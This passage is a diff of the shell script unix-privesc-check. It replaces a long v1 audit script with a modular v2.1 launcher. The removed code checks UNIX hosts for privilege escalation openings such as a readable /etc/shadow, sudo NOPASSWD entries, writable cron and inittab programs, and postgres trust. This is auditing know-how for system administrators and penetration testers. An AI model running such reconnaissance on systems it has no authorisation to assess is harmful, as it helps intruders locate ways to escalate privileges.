-	GET_OWNER_RETURN=`ls -lLd "$GET_OWNER_FILE" | awk '{print $3}'`
-}
-
-get_group () {
-	GET_GROUP_FILE=$1
-	GET_GROUP_RETURN=`ls -lLd "$GET_GROUP_FILE" | awk '{print $4}'`
-}
-
-usage () {
-	echo "unix-privesc-check v$VERSION ( http://pentestmonkey.net/tools/unix-privesc-check )"
-	echo
-	echo "Usage: unix-privesc-check { standard | detailed }"
-	echo
-	echo '"standard" mode: Speed-optimised check of lots of security settings.'
-	echo
-	echo '"detailed" mode: Same as standard mode, but also checks perms of open file'
-	echo '                 handles and called files (e.g. parsed from shell scripts,'
-	echo '                 linked .so files).  This mode is slow and prone to false '
-	echo '                 positives but might help you find more subtle flaws in 3rd'
-	echo '                 party programs.'
-	echo
-	echo "This script checks file permissions and other settings that could allow"
-	echo "local users to escalate privileges."
-	echo
-	echo "Use of this script is only permitted on systems which you have been granted"
-	echo "legal permission to perform a security assessment of.  Apart from this "
-	echo "condition the GPL v2 applies."
-	echo
-	echo "Search the output for the word 'WARNING'.  If you don't see it then this"
-	echo "script didn't find any problems."
-	echo
-}
-
-banner () {
-	echo "Starting unix-privesc-check v$VERSION ( http://pentestmonkey.net/tools/unix-privesc-check )"
-	echo
-	echo "This script checks file permissions and other settings that could allow"
-	echo "local users to escalate privileges."
-	echo
-	echo "Use of this script is only permitted on systems which you have been granted"
-	echo "legal permission to perform a security assessment of.  Apart from this "
-	echo "condition the GPL v2 applies."
-	echo
-	echo "Search the output below for the word 'WARNING'.  If you don't see it then"
-	echo "this script didn't find any problems."
-	echo
-}
-
-MODE="standard"
-
-if [ ! "$MODE" = "standard" ] && [ ! "$MODE" = "detailed" ]; then
-	usage
-	exit 0
-fi
-
-# Parse any full paths from $1 (config files, progs, dirs).
-# Check the permissions on each of these.
-check_called_programs () {
-	CCP_MESSAGE_STACK=$1
-	CCP_FILE=$2
-	CCP_USER=$3
-	CCP_PATH=$4 # optional
-
-	# Check the perms of the supplied file regardless
-	# The caller doesn't want to have to call check_perms as well as check_called_programs
-	check_perms "$CCP_MESSAGE_STACK" "$CCP_FILE" "$CCP_USER" "$CCP_PATH"
-
-	# Skip the slow check if we're in quick mode
-	if [ "$MODE" = "standard" ]; then
-		return 0;
-	fi
-
-	# Check if file is text or not
-	IS_TEXT=`file "$CCP_FILE" | grep -i text`
-	IS_DYNBIN=`file "$CCP_FILE" | grep -i 'dynamically linked'`
-
-	# Process shell scripts (would also work on config files that reference other files)
-	if [ ! -z "$IS_TEXT" ]; then
-		# Parse full paths from file - ignoring commented lines
-		CALLED_FILES=`grep -v '^#' "$CCP_FILE" | sed -e 's/^[^\/]*//' -e 's/["'\'':}$]/\x0a/g' | grep '/' | sed -e 's/[ \*].*//' | grep '^/[a-zA-Z0-9_/-]*$' | sort -u`
-		for CALLED_FILE in $CALLED_FILES; do
-			# echo "$CCP_FILE contains a reference to $CALLED_FILE.  Checking perms."
-			check_perms "$CCP_MESSAGE_STACK $CCP_FILE contains the string $CALLED_FILE." "$CALLED_FILE" "$CCP_USER" "$CCP_PATH"
-		done
-	else
-		# Process dynamically linked binaries
-		if [ ! -z "$IS_DYNBIN" ]; then
-
-			CALLED_FILES=`ldd "$CCP_FILE" 2>/dev/null | grep '/' | sed 's/[^\/]*\//\//' | cut -f 1 -d ' '`
-			for CALLED_FILE in $CALLED_FILES; do
-				check_perms "$CCP_MESSAGE_STACK $CCP_FILE uses the library $CALLED_FILE." "$CALLED_FILE" "$CCP_USER" "$CCP_PATH"
-			done
-
-			# Strings binary to look for hard-coded config files
-			# or other programs that might be called.
-			for CALLED_FILE in `strings "$CCP_FILE" | sed -e 's/^[^\/]*//' -e 's/["'\'':}$]/\x0a/g' | grep '/' | sed -e 's/[ \*].*//' | grep '^/[a-zA-Z0-9_/-]*$' | sort -u`; do
-				check_perms "$CCP_MESSAGE_STACK $CCP_FILE contains the string $CALLED_FILE." "$CALLED_FILE" "$CCP_USER" "$CCP_PATH"
-			done
-		fi
-	fi
-}
-
-# Parse any full paths from $1 (config files, progs, dirs).
-# Check the permissions on each of these.
-check_called_programs_suid () {
-	CCP_FILE=$1
-	CCP_PATH=$2 # optional
-
-	get_owner $CCP_FILE; CCP_USER=$GET_OWNER_RETURN
-	CCP_MESSAGE_STACK="$CCP_FILE is SUID $CCP_USER."
-	LS=`ls -l $CCP_FILE`
-	echo "Checking SUID-$CCP_USER program $CCP_FILE: $LS"
-
-	# Don't check perms of executable itself
-	# check_perms "$CCP_MESSAGE_STACK" "$CCP_FILE" "$CCP_USER" "$CCP_PATH"
-
-	# Check if file is text or not
-	IS_TEXT=`file "$CCP_FILE" | grep -i text`
-	IS_DYNBIN=`file "$CCP_FILE" | grep -i 'dynamically linked'`
-
-	# Process shell scripts (would also work on config files that reference other files)
-	if [ ! -z "$IS_TEXT" ]; then
-		# Skip the slow check if we're in quick mode
-		if [ "$MODE" = "standard" ]; then
-			return 0;
-		fi
-
-		# Parse full paths from file - ignoring commented lines
-		CALLED_FILES=`grep -v '^#' "$CCP_FILE" | sed -e 's/^[^\/]*//' -e 's/["'\'':}$]/\x0a/g' | grep '/' | sed -e 's/[ \*].*//' | grep '^/[a-zA-Z0-9_/-]*$' | sort -u`
-		for CALLED_FILE in $CALLED_FILES; do
-			# echo "$CCP_FILE contains a reference to $CALLED_FILE.  Checking perms."
-			check_perms "$CCP_MESSAGE_STACK $CCP_FILE contains the string $CALLED_FILE." "$CALLED_FILE" "$CCP_USER" "$CCP_PATH"
-		done
-	else
-		# Process dynamically linked binaries
-		if [ ! -z "$IS_DYNBIN" ]; then
-
-			CALLED_FILES=`ldd "$CCP_FILE" 2>/dev/null | grep '/' | sed 's/[^\/]*\//\//' | cut -f 1 -d ' '`
-			for CALLED_FILE in $CALLED_FILES; do
-				check_perms "$CCP_MESSAGE_STACK $CCP_FILE uses the library $CALLED_FILE." "$CALLED_FILE" "$CCP_USER" "$CCP_PATH"
-			done
-
-			# Skip the slow check if we're in quick mode
-			if [ "$MODE" = "standard" ]; then
-				return 0;
-			fi
-
-			# Strings binary to look for hard-coded config files
-			# or other programs that might be called.
-			for CALLED_FILE in `strings "$CCP_FILE" | sed -e 's/^[^\/]*//' -e 's/["'\'':}$]/\x0a/g' | grep '/' | sed -e 's/[ \*].*//' | grep '^/[a-zA-Z0-9_/-]*$' | sort -u`; do
-				check_perms "$CCP_MESSAGE_STACK $CCP_FILE contains the string $CALLED_FILE." "$CALLED_FILE" "$CCP_USER" "$CCP_PATH"
-			done
-		fi
-	fi
-}
-
-# Check if $1 can be changed by users who are not $2
-check_perms () {
-	CP_MESSAGE_STACK=$1
-	CHECK_PERMS_FILE=$2
-	CHECK_PERMS_USER=$3
-	CHECK_PERMS_PATH=$4 # optional
-
-	if [ ! -f "$CHECK_PERMS_FILE" ] && [ ! -d "$CHECK_PERMS_FILE" ] && [ ! -b "$CHECK_PERMS_FILE" ]; then
-		CHECK_PERMS_FOUND=0
-		if [ ! -z "$CHECK_PERMS_PATH" ]; then
-			# Look for it in the supplied path
-			for DIR in `echo "$CHECK_PERMS_PATH" | sed 's/:/ /g'`; do
-				if [ -f "$DIR/$CHECK_PERMS_FILE" ]; then
-					CHECK_PERMS_FOUND=1
-					CHECK_PERMS_FILE="$DIR/$CHECK_PERMS_FILE"
-					break
-				fi
-			done
-		fi
-
-		#if [ "$CHECK_PERMS_FOUND" = "0" ]; then
-		#	echo "ERROR: File $CHECK_PERMS_FILE doesn't exist.  Checking parent path anyway."
-		#	# return 0
-		# fi
-	fi
-
-	C=`echo "$CHECK_PERMS_FILE" | cut -c 1`
-	if [ ! "$C" = "/" ]; then
-		echo "ERROR: Can't find absolute path for $CHECK_PERMS_FILE.  Skipping."
-		return 0
-	fi
-
-	echo "    Checking if anyone except $CHECK_PERMS_USER can change $CHECK_PERMS_FILE"
-
-	while [ -n "$CHECK_PERMS_FILE" ]; do
-		perms_secure "$CP_MESSAGE_STACK" $CHECK_PERMS_FILE $CHECK_PERMS_USER
-		CHECK_PERMS_FILE=`echo $CHECK_PERMS_FILE | sed 's/\/[^\/]*$//'`
-	done
-}
-
-# Check if $1 can be read by users who are not $2
-check_read_perms () {
-	CP_MESSAGE_STACK=$1
-	CHECK_PERMS_FILE=$2
-	CHECK_PERMS_USER=$3
-
-	if [ ! -f "$CHECK_PERMS_FILE" ] && [ ! -b "$CHECK_PERMS_FILE" ]; then
-		echo "ERROR: File $CHECK_PERMS_FILE doesn't exist"
-		return 0
-	fi
-
-	echo "    Checking if anyone except $CHECK_PERMS_USER can read file $CHECK_PERMS_FILE"
-
-	perms_secure_read "$CP_MESSAGE_STACK" "$CHECK_PERMS_FILE" "$CHECK_PERMS_USER"
-}
-
-perms_secure_read () {
-	PS_MESSAGE_STACK=$1
-	PERMS_SECURE_FILE=$2
-	PERMS_SECURE_USER=$3
-
-	if [ ! -b "$PERMS_SECURE_FILE" ] && [ ! -f "$PERMS_SECURE_FILE" ] && [ ! -d "$PERMS_SECURE_FILE" ]; then
-		echo "ERROR: No such file or directory: $PERMS_SECURE_FILE.  Skipping."
-		return 0
-	fi
-
-	# Check if owner is different (but ignore root ownership, that's OK)
-	only_user_can_read "$PS_MESSAGE_STACK" $PERMS_SECURE_FILE $PERMS_SECURE_USER
-
-	# Check group read perm (but ignore root group, that's OK)
-	group_can_read "$PS_MESSAGE_STACK" $PERMS_SECURE_FILE $PERMS_SECURE_USER
-
-	# Check world read perm
-	world_can_read "$PS_MESSAGE_STACK" $PERMS_SECURE_FILE
-}
-
-perms_secure () {
-	PS_MESSAGE_STACK=$1
-	PERMS_SECURE_FILE=$2
-	PERMS_SECURE_USER=$3
-
-	if [ ! -d "$PERMS_SECURE_FILE" ] && [ ! -f "$PERMS_SECURE_FILE" ] && [ ! -b "$PERMS_SECURE_FILE" ]; then
-		# echo "ERROR: No such file or directory: $PERMS_SECURE_FILE.  Skipping."
-		return 0
-	fi
-
-	# Check if owner is different (but ignore root ownership, that's OK)
-	only_user_can_write "$PS_MESSAGE_STACK" $PERMS_SECURE_FILE $PERMS_SECURE_USER
-
-	# Check group write perm (but ignore root group, that's OK)
-	group_can_write "$PS_MESSAGE_STACK" $PERMS_SECURE_FILE $PERMS_SECURE_USER
-
-	# Check world write perm
-	world_can_write "$PS_MESSAGE_STACK" $PERMS_SECURE_FILE
-}
-
-only_user_can_write () {
-	O_MESSAGE_STACK=$1
-	O_FILE=$2
-	O_USER=$3
-
-	# We just need to check the owner really as the owner
-	# can always grant themselves write access
-	get_owner $O_FILE; O_FILE_USER=$GET_OWNER_RETURN
-	if [ ! "$O_USER" = "$O_FILE_USER" ] && [ ! "$O_FILE_USER" = "root" ]; then
-		echo "WARNING: $O_MESSAGE_STACK The user $O_FILE_USER can write to $O_FILE"
-	fi
-}
-
-group_can_write () {
-	O_MESSAGE_STACK=$1
-	O_FILE=$2
-	O_USER=$3 # ignore group write access $3 is only member of group
-
-	get_group $O_FILE; O_FILE_GROUP=$GET_GROUP_RETURN
-	P=`ls -lLd $O_FILE | cut -c 6`
-	if [ "$P" = "w" ] && [ ! "$O_GROUP" = "root" ]; then
-		# check the group actually has some members other than $O_USER
-		group_has_other_members "$O_FILE_GROUP" "$O_USER"; # sets OTHER_MEMBERS to 1 or 0
-		if [ "$OTHER_MEMBERS" = "1" ]; then
-			echo "WARNING: $O_MESSAGE_STACK The group $O_FILE_GROUP can write to $O_FILE"
-		fi
-	fi
-}
-
-group_has_other_members () {
-	G_GROUP=$1
-	G_USER=$2
-
-	# If LDAP/NIS is being used this script can't check group memberships
-	# we therefore assume the worst.
-	if [ "$EXT_AUTH" = 1 ]; then
-		OTHER_MEMBERS=1
-		return 1
-	fi
-
-	GROUP_LINE=`grep "^$G_GROUP:" /etc/group`
-	MEMBERS=`echo "$GROUP_LINE" | cut -f 4 -d : | sed 's/,/ /g'`
-
-	GID=`echo "$GROUP_LINE" | cut -f 3 -d :`
-	EXTRA_MEMBERS=`grep "^[^:]*:[^:]*:[0-9]*:$GID:" /etc/passwd | cut -f 1 -d : | xargs echo`
-
-	for M in $MEMBERS; do
-		if [ ! "$M" = "$G_USER" ] && [ ! "$M" = "root" ]; then
-			OTHER_MEMBERS=1
-			return 1
-		fi
-	done
-
-	for M in $EXTRA_MEMBERS; do
-		if [ ! "$M" = "$G_USER" ] && [ ! "$M" = "root" ]; then
-			OTHER_MEMBERS=1
-			return 1
-		fi
-	done
-
-	OTHER_MEMBERS=0
-	return 0
-}
-
-world_can_write () {
-	O_MESSAGE_STACK=$1
-	O_FILE=$2
-
-	P=`ls -lLd $O_FILE | cut -c 9`
-	S=`ls -lLd $O_FILE | cut -c 10`
-
-	if [ "$P" = "w" ]; then
-		if [ "$S" = "t" ]; then
-			echo "WARNING: $O_MESSAGE_STACK World write is set for $O_FILE (but sticky bit set)"
-		else
-			echo "WARNING: $O_MESSAGE_STACK World write is set for $O_FILE"
-		fi
-	fi
-}
+# (c) Tim Brown, 2012
+# <mailto:timb@nth-dimension.org.uk>
+# <http://www.nth-dimension.org.uk/> / <http://www.machine.org.uk/>
 
-only_user_can_read () {
-	O_MESSAGE_STACK=$1
-	O_FILE=$2
-	O_USER=$3
+. lib/misc/stdio
 
-	# We just need to check the owner really as the owner
-	# can always grant themselves read access
-	get_owner $O_FILE; O_FILE_USER=$GET_OWNER_RETURN
-	if [ ! "$O_USER" = "$O_FILE_USER" ] && [ ! "$O_FILE_USER" = "root" ]; then
-		echo "WARNING: $O_MESSAGE_STACK The user $O_FILE_USER can read $O_FILE"
+header () {
+	VERSION="2.1"
+	SVNVERSION="$Revision$" # Don't change this line.  Auto-updated.
+	SVNVNUM="`echo $SVNVERSION | sed \"s/[^0-9]//g\"`"
+	if [ -n "${SVNVNUM}" ]; then
+		VERSION="${VERSION}-svn-${SVNVNUM}"
 	fi
+	printf "unix-privesc-check v${VERSION} ( http://code.google.com/p/unix-privesc-check )\n\n"
 }
 
-group_can_read () {
-	O_MESSAGE_STACK=$1
-	O_FILE=$2
-	O_USER=$3
-
-	get_group $O_FILE; O_FILE_GROUP=$GET_GROUP_RETURN
-	P=`ls -lLd $O_FILE | cut -c 5`
-	if [ "$P" = "r" ] && [ ! "$O_GROUP" = "root" ]; then
-		# check the group actually has some members other than $O_USER
-		group_has_other_members "$O_FILE_GROUP" "$O_USER"; # sets OTHER_MEMBERS to 1 or 0
-		if [ "$OTHER_MEMBERS" = "1" ]; then
-			echo "WARNING: $O_MESSAGE_STACK The group $O_FILE_GROUP can read $O_FILE"
-		fi
-	fi
-}
-
-world_can_read () {
-	O_MESSAGE_STACK=$1
-	O_FILE=$2
-
-	P=`ls -lLd $O_FILE | cut -c 8`
-
-	if [ "$P" = "w" ]; then
-		echo "WARNING: $O_MESSAGE_STACK World read is set for $O_FILE"
-	fi
+version () {
+	header
+	preamble
+	printf "Brought to you by:\n"
+	cat doc/AUTHORS
+	exit 1
 }
 
-section () {
-	echo
-	echo '############################################'
-	echo $1
-	echo '############################################'
+preamble () {
+	printf "Shell script to check for simple privilege escalation vectors on UNIX systems.\n\n"
 }
 
-# Guess OS
-if [ -x /usr/bin/showrev ]; then
-	OS="solaris"
-	SHADOW="/etc/shadow"
-elif [ -x /usr/sbin/sam -o -x /usr/bin/sam ]; then
-	OS="hpux"
-	SHADOW="/etc/shadow"
-elif [ -f /etc/master.passwd ]; then
-	OS="bsd"
-	SHADOW="/etc/master.passwd"
-else
-	OS="linux"
-	SHADOW="/etc/shadow"
-fi
-echo "Assuming the OS is: $OS"
-CONFIG_FILES="$CONFIG_FILES $SHADOW"
-
-# Set path so we can access usual directories.  HPUX and some linuxes don't have sbin in the path.
-PATH=$PATH:/usr/bin:/bin:/sbin:/usr/sbin; export PATH
-
-# Check dependent programs are installed
-# Assume "which" is installed!
-PROGS="ls awk grep cat mount xargs file ldd strings"
-for PROG in $PROGS; do
-	which $PROG 2>&1 > /dev/null
-	if [ ! $? = "0" ]; then
-		echo "ERROR: Dependend program '$PROG' is mising.  Can't run.  Sorry!"
-		exit 1
-	fi
-done
-
-banner
-
-section "Recording hostname"
-hostname
-
-section "Recording uname"
-uname -a
-
-section "Recording Interface IP addresses"
-if [ $OS = 'hpux' ]; then
-	for IFACE in `lanscan | grep x | awk '{print $5}' 2>/dev/null`; do
-		ifconfig $IFACE 2>/dev/null
-	done
-else
-	ifconfig -a
-fi
-
-section "Checking if external authentication is allowed in /etc/passwd"
-FLAG=`grep '^+:' /etc/passwd`
-if [ -n "$FLAG" ]; then
-	echo "WARNING: /etc/passwd allows external authentcation:"
-	grep '^+:' /etc/passwd
-	EXT_AUTH=1
-else
-	echo "No +:... line found in /etc/passwd"
-fi
-
-section "Checking nsswitch.conf for addition authentication methods"
-if [ -r "/etc/nsswitch.conf" ]; then
-	NIS=`grep '^passwd' /etc/nsswitch.conf  | grep 'nis'`
-	if [ -n "$NIS" ]; then
-		echo "WARNING: NIS is used for authentication on this system"
-		EXT_AUTH=1
-	fi
-	LDAP=`grep '^passwd' /etc/nsswitch.conf  | grep 'ldap'`
-	if [ -n "$LDAP" ]; then
-		echo "WARNING: LDAP is used for authentication on this system"
-		EXT_AUTH=1
-	fi
-
-	if [ -z "$NIS" ] && [ -z "$LDAP" ]; then
-		echo "Neither LDAP nor NIS are used for authentication"
-	fi
-else
-	echo "ERROR: File /etc/nsswitch.conf isn't readable.  Skipping checks."
-fi
-
-# Check important config files aren't writable
-section "Checking for writable config files"
-for FILE in $CONFIG_FILES; do
-	if [ -f "$FILE" ]; then
-		check_perms "$FILE is a critical config file." "$FILE" root
-	fi
-done
-
-section "Checking if $SHADOW is readable"
-check_read_perms "/etc/shadow holds authentication data" $SHADOW root
-
-section "Checking for password hashes in /etc/passwd"
-FLAG=`grep -v '^[^:]*:[x\*]*:' /etc/passwd | grep -v '^#'`
-if [ -n "$FLAG" ]; then
-	echo "WARNING: There seem to be some password hashes in /etc/passwd"
-	grep -v '^[^:]*:[x\*]*:' /etc/passwd | grep -v '^#'
-	EXT_AUTH=1
-else
-	echo "No password hashes found in /etc/passwd"
-fi
-
-section "Checking account settings"
-# Check for something nasty like r00t::0:0::/:/bin/sh in /etc/passwd
-# We only need read access to /etc/passwd to be able to check this.
-if [ -r "/etc/passwd" ]; then
-	OPEN=`grep "^[^:][^:]*::" /etc/passwd | cut -f 1 -d ":"`
-	if [ -n "$OPEN" ]; then
-		echo "WARNING: The following accounts have no password:"
-		grep "^[^:][^:]*::" /etc/passwd | cut -f 1 -d ":"
-	fi
-fi
-if [ -r "$SHADOW" ]; then
-	echo "Checking for accounts with no passwords"
-	if [ "$OS" = "linux" ]; then
-		passwd -S -a | while read LINE
-		do
-			USER=`echo "$LINE" | awk '{print $1}'`
-			STATUS=`echo "$LINE" | awk '{print $2}'`
-			if [ "$STATUS" = "NP" ]; then
-				echo "WARNING: User $USER doesn't have a password"
-			fi
-		done
-	elif [ "$OS" = "solaris" ]; then
-		passwd -s -a | while read LINE
-		do
-			USER=`echo "$LINE" | awk '{print $1}'`
-			STATUS=`echo "$LINE" | awk '{print $2}'`
-			if [ "$STATUS" = "NP" ]; then
-				echo "WARNING: User $USER doesn't have a password"
-			fi
-		done
-	fi
-else
-	echo "File $SHADOW isn't readable.  Skipping some checks."
-fi
-
-section "Checking library directories from /etc/ld.so.conf"
-if [ -f "/etc/ld.so.conf" ] && [ -r "/etc/ld.so.conf" ]; then
-	for DIR in `grep '^/' /etc/ld.so.conf`; do
-		check_perms "$DIR is in /etc/ld.so.conf." $DIR root
-	done
-
-	#FILES=`grep '^include' /etc/ld.so.conf | sed 's/^include *//'`
-	#if [ ! -z "$FILES" ]; then
-	#	for DIR in `echo $FILES | xargs cat | sort -u`; do
-	#	done
-	#fi
-else
-	echo "File /etc/ld.so.conf not present.  Skipping checks."
-fi
-
-# Check sudoers if we have permission - needs root normally
-section "Checking sudo configuration"
-if [ -f "/etc/sudoers" ] && [ -r "/etc/sudoers" ]; then
-	echo -----------------
-	echo "Checking if sudo is configured"
-	SUDO_USERS=`grep -v '^#' /etc/sudoers | grep -v '^[ \t]*$' | grep -v '^[ \t]*Default' | grep =`
-	if [ ! -z "$SUDO_USERS" ]; then
-		echo "WARNING: Sudo is configured.  Manually check nothing unsafe is allowed:"
-		grep -v '^#' /etc/sudoers | grep -v '^[ \t]*$' | grep = | grep -v '^[ \t]*Default'
-	fi
-
-	echo -----------------
-	echo "Checking sudo users need a password"
-	SUDO_NOPASSWD=`grep -v '^#' /etc/sudoers | grep -v '^[ \t]*$' | grep NOPASSWD`
-	if [ ! -z "$SUDO_NOPASSWD" ]; then
-		echo "WARNING: Some users can use sudo without a password:"
-		grep -v '^#' /etc/sudoers | grep -v '^[ \t]*$' | grep NOPASSWD
-	fi
-else
-	echo "File /etc/sudoers not present.  Skipping checks."
-fi
-
-section "Checking permissions on swap file(s)"
-for SWAP in `swapon -s | grep -v '^Filename' | cut -f 1 -d ' '`; do
-	check_perms "$SWAP is used for swap space." $SWAP root
-	check_read_perms "$SWAP is used for swap space." $SWAP root
-done
-
-section "Checking programs run from inittab"
-if [ -f "/etc/inittab" ] && [ -r "/etc/inittab" ]; then
-	for FILE in `cat /etc/inittab | grep : | grep -v '^#' | cut -f 4 -d : | grep '/' | cut -f 1 -d ' ' | sort -u`; do
-		check_called_programs "$FILE is run from /etc/inittab as root." $FILE root
-	done
-else
-	echo "File /etc/inittab not present.  Skipping checks."
-fi
-
-section "Checking postgres trust relationships"
-for DIR in $PGDIRS; do
-	if [ -d "$DIR" ] && [ -r "$DIR/pg_hba.conf" ]; then
-		grep -v '^#' "$DIR/pg_hba.conf" | grep -v '^[ \t]*$' | while read LINE
-		do
-			AUTH=`echo "$LINE" | awk '{print $NF}'`
-			if [ "$AUTH" = "trust" ]; then
-				PGTRUST=1
-				echo "WARNING: Postgres trust configured in $DIR/pg_hba.conf: $LINE"
-			fi
-		done
-	fi
-done
-
-PGVER1=`psql -U postgres template1 -c 'select version()' 2>/dev/null | grep version`
-
-if [ -n "$PGVER1" ]; then
-	PGTRUST=1
-	echo "WARNING: Can connect to local postgres database as \"postgres\" without a password"
-fi
-
-PGVER2=`psql -U pgsql template1 -c 'select version()' 2>/dev/null | grep version`
-
-if [ -n "$PGVER2" ]; then
-	PGTRUST=1
-	echo "WARNING: Can connect to local postgres database as \"pgsql\" without a password"
-fi
-
-if [ -z "$PGTRUST" ]; then
-	echo "No postgres trusts detected"
-fi
-
-# Check device files for mounted file systems are secure
-# cat /proc/mounts | while read LINE # Doesn't work so well when LVM is used - need to be root
-section "Checking permissions on device files for mounted partitions"
-if [ "$OS" = "linux" ]; then
-	mount | while read LINE
-	do
-		DEVICE=`echo "$LINE" | awk '{print $1}'`
-		FS=`echo "$LINE" | awk '{print $5}'`
-		if [ "$FS" = "ext2" ] || [ "$FS" = "ext3" ] ||[  "$FS" = "reiserfs" ]; then
-			echo "Checking device $DEVICE"
-			check_perms "$DEVICE is a mounted file system." $DEVICE root
-		fi
-	done
-elif [ "$OS" = "bsd" ]; then
-	mount | grep ufs | while read LINE
-	do
-		DEVICE=`echo "$LINE" | awk '{print $1}'`
-		echo "Checking device $DEVICE"
-		check_perms "$DEVICE is a mounted file system." $DEVICE root
-	done
-elif [ "$OS" = "solaris" ]; then
-	mount | grep xattr | while read LINE
-	do
-		DEVICE=`echo "$LINE" | awk '{print $3}'`
-		if [ ! "$DEVICE" = "swap" ]; then
-			echo "Checking device $DEVICE"
-			check_perms "$DEVICE is a mounted file system." $DEVICE root
-		fi
-	done
-elif [ "$OS" = "hpux" ]; then
-	mount | while read LINE
+usage () {
+	header
+	preamble
+	printf "Usage: ${0}\n"
+	printf "\n"
+	printf "\t--help\tdisplay this help and exit\n"
+	printf "\t--version\tdisplay version and exit\n"
+	printf "\t--color\tenable output coloring\n"
+	printf "\t--verbose\tverbose level (0-2, default: 1)\n"
+	printf "\t--type\tselect from one of the following check types:\n"
+	for checktype in lib/checks/enabled/*
 	do
-		DEVICE=`echo "$LINE" | awk '{print $3}'`
-		C=`echo $DEVICE | cut -c 1`
-		if [ "$C" = "/" ]; then
-			echo "Checking device $DEVICE"
-			check_perms "$DEVICE is a mounted file system." $DEVICE root
-		fi
+		printf "\t\t`basename ${checktype}`\n"
 	done
-
-	NFS=`mount | grep NFS`
-	if [ -n "$NFS" ]; then
-		echo "WARNING: This system is an NFS client.  Check for nosuid and nodev options."
-		mount | grep NFS
-	fi
-fi
-
-# Check cron jobs if they're readable
-# TODO check that cron is actually running
-section "Checking cron job programs aren't writable (/etc/crontab)"
-CRONDIRS=""
-if [ -f "/etc/crontab" ] && [ -r "/etc/crontab" ]; then
-	MYPATH=`grep '^PATH=' /etc/crontab | cut -f 2 -d = `
-	echo Crontab path is $MYPATH
-
-	# Check if /etc/cron.(hourly|daily|weekly|monthly) are being used
-	CRONDIRS=`grep -v '^#' /etc/crontab | grep -v '^[ \t]*$' | grep '[ \t][^ \t][^ \t]*[ \t][ \t]*' | grep run-crons`
-
-	# Process run-parts
-	grep -v '^#' /etc/crontab | grep -v '^[ \t]*$' | grep '[ \t][^ \t][^ \t]*[ \t][ \t]*' | grep run-parts | while read LINE
+	printf "\t--checks\tprovide a comma separated list of checks to run, select from the following checks:\n"
+	for check in lib/checks/*
 	do
-		echo "Processing crontab run-parts entry: $LINE"
-		USER=`echo "$LINE" | awk '{print $6}'`
-		DIR=`echo "$LINE" | sed 's/.*run-parts[^()&|;\/]*\(\/[^ ]*\).*/\1/'`
-		check_perms "$DIR holds cron jobs which are run as $USER." "$DIR" "$USER"
-		if [ -d "$DIR" ]; then
-			echo "    Checking directory: $DIR"
-			for FILE in $DIR/*; do
-				FILENAME=`echo "$FILE" | sed 's/.*\///'`
-				if [ "$FILENAME" = "*" ]; then
-					echo "    No files in this directory."
-					continue
-				fi
-				check_called_programs "$FILE is run by cron as $USER." "$FILE" "$USER"
-			done
+		if [ "`basename \"${check}\"`" != "enabled" ]
+		then
+			printf "\t\t`basename ${check}`\n"
 		fi
 	done
+	exit 1
+}
 
-	# TODO bsd'd periodic:
-	# 1       3       *       *       *       root    periodic daily
-	# 15      4       *       *       6       root    periodic weekly
-	# 30      5       1       *       *       root    periodic monthly
-
-	grep -v '^#' /etc/crontab | grep -v '^[ 	]*$' | grep '[ 	][^ 	][^ 	]*[ 	][ 	]*' | while read LINE
+# TODO make it use lib/misc/validate
+CHECKS=""
+TYPE="all"
+COLORING="0"
+VERBOSE="1"
+while [ -n "${1}" ]
+do
+	case "${1}" in
+		--help|-h)
+			usage
+			;;
+		--version|-v|-V)
+			version
+			;;
+		--color)
+			COLORING="1"
+			;;
+		--verbose)
+			shift
+			VERBOSE="${1}"
+			;;
+		--type|-t)
+			shift
+			TYPE="${1}"
+			;;
+		--checks|-c)
+			shift
+			CHECKS="${1}"
+			;;
+	esac
+	shift
+done
+header
+if [ "${VERBOSE}" != "0" -a "${VERBOSE}" != "1" -a "${VERBOSE}" != "2" ]
+then
+	stdio_message_error "upc" "the provided verbose level ${VERBOSE} is invalid - use 0, 1 or 2 next time"
+	VERBOSE="1"
+fi
+if [ -n "${CHECKS}" ]
+then
+	for checkfilename in `printf "${CHECKS}" | tr -d " " | tr "," " "`
 	do
-		echo "Processing crontab entry: $LINE"
-		USER=`echo "$LINE" | awk '{print $6}'`
-		PROG=`echo "$LINE" | awk '{print $7}'`
-		check_called_programs "$PROG is run from crontab as $USER." $PROG $USER $MYPATH
-	done
-else
-	echo "File /etc/crontab not present.  Skipping checks."
-fi
-
-# Do this if run-crons is run from /etc/crontab
-if [ -n "$CRONDIRS" ]; then
-	USER=`echo "$CRONDIRS" | awk '{print $6}'`
-	section "Checking /etc/cron.(hourly|daily|weekly|monthly)"
-	for DIR in hourly daily weekly monthly; do
-		if [ -d "/etc/cron.$DIR" ]; then
-			echo "    Checking directory: /etc/cron.$DIR"
-			for FILE in /etc/cron.$DIR/*; do
-				FILENAME=`echo "$FILE" | sed 's/.*\///'`
-				if [ "$FILENAME" = "*" ]; then
-					echo "No files in this directory."
-					continue
-				fi
-				check_called_programs "$FILE is run via cron as $USER." "$FILE" $USER
-			done
-		fi
-	done
-fi
-
-section "Checking cron job programs aren't writable (/var/spool/cron/crontabs)"
-if [ -d "/var/spool/cron/crontabs" ]; then
-	for FILE in /var/spool/cron/crontabs/*; do
-		USER=`echo "$FILE" | sed 's/^.*\///'`
-		if [ "$USER" = "*" ]; then
-			echo "No user crontabs found in /var/spool/cron/crontabs.  Skipping checks."
-			continue
-		fi
-		echo "Processing crontab for $USER: $FILE"
-		if [ -r "$FILE" ]; then
-			MYPATH=`grep '^PATH=' "$FILE" | cut -f 2 -d = `
-			if [ -n "$MYPATH" ]; then
-				echo Crontab path is $MYPATH
-			fi
-			grep -v '^#' "$FILE" | grep -v '^[ \t]*$' | grep '[ \t][^ \t][^ \t]*[ \t][ \t]*' | while read LINE
-			do
-				echo "Processing crontab entry: $LINE"
-				PROG=`echo "$LINE" | awk '{print $6}'`
-				check_called_programs "$PROG is run via cron as $USER." "$PROG" $USER
-			done
+		if [ ! -e "lib/checks/${checkfilename}" ]
+		then
+			stdio_message_error "upc" "the provided check name '${checkfilename}' does not exist"
 		else
-			echo "ERROR: Can't read file $FILE"
-		fi
-	done
-else
-	echo "Directory /var/spool/cron/crontabs is not present.  Skipping checks."
-fi
-
-section "Checking cron job programs aren't writable (/var/spool/cron/tabs)"
-if [ -d "/var/spool/cron/tabs" ]; then
-	for FILE in /var/spool/cron/tabs/*; do
-		USER=`echo "$FILE" | sed 's/^.*\///'`
-		if [ "$USER" = "*" ]; then
-			echo "No user crontabs found in /var/spool/cron/crontabs.  Skipping checks."
-			continue
-		fi
-		echo "Processing crontab for $USER: $FILE"
-		if [ -r "$FILE" ]; then
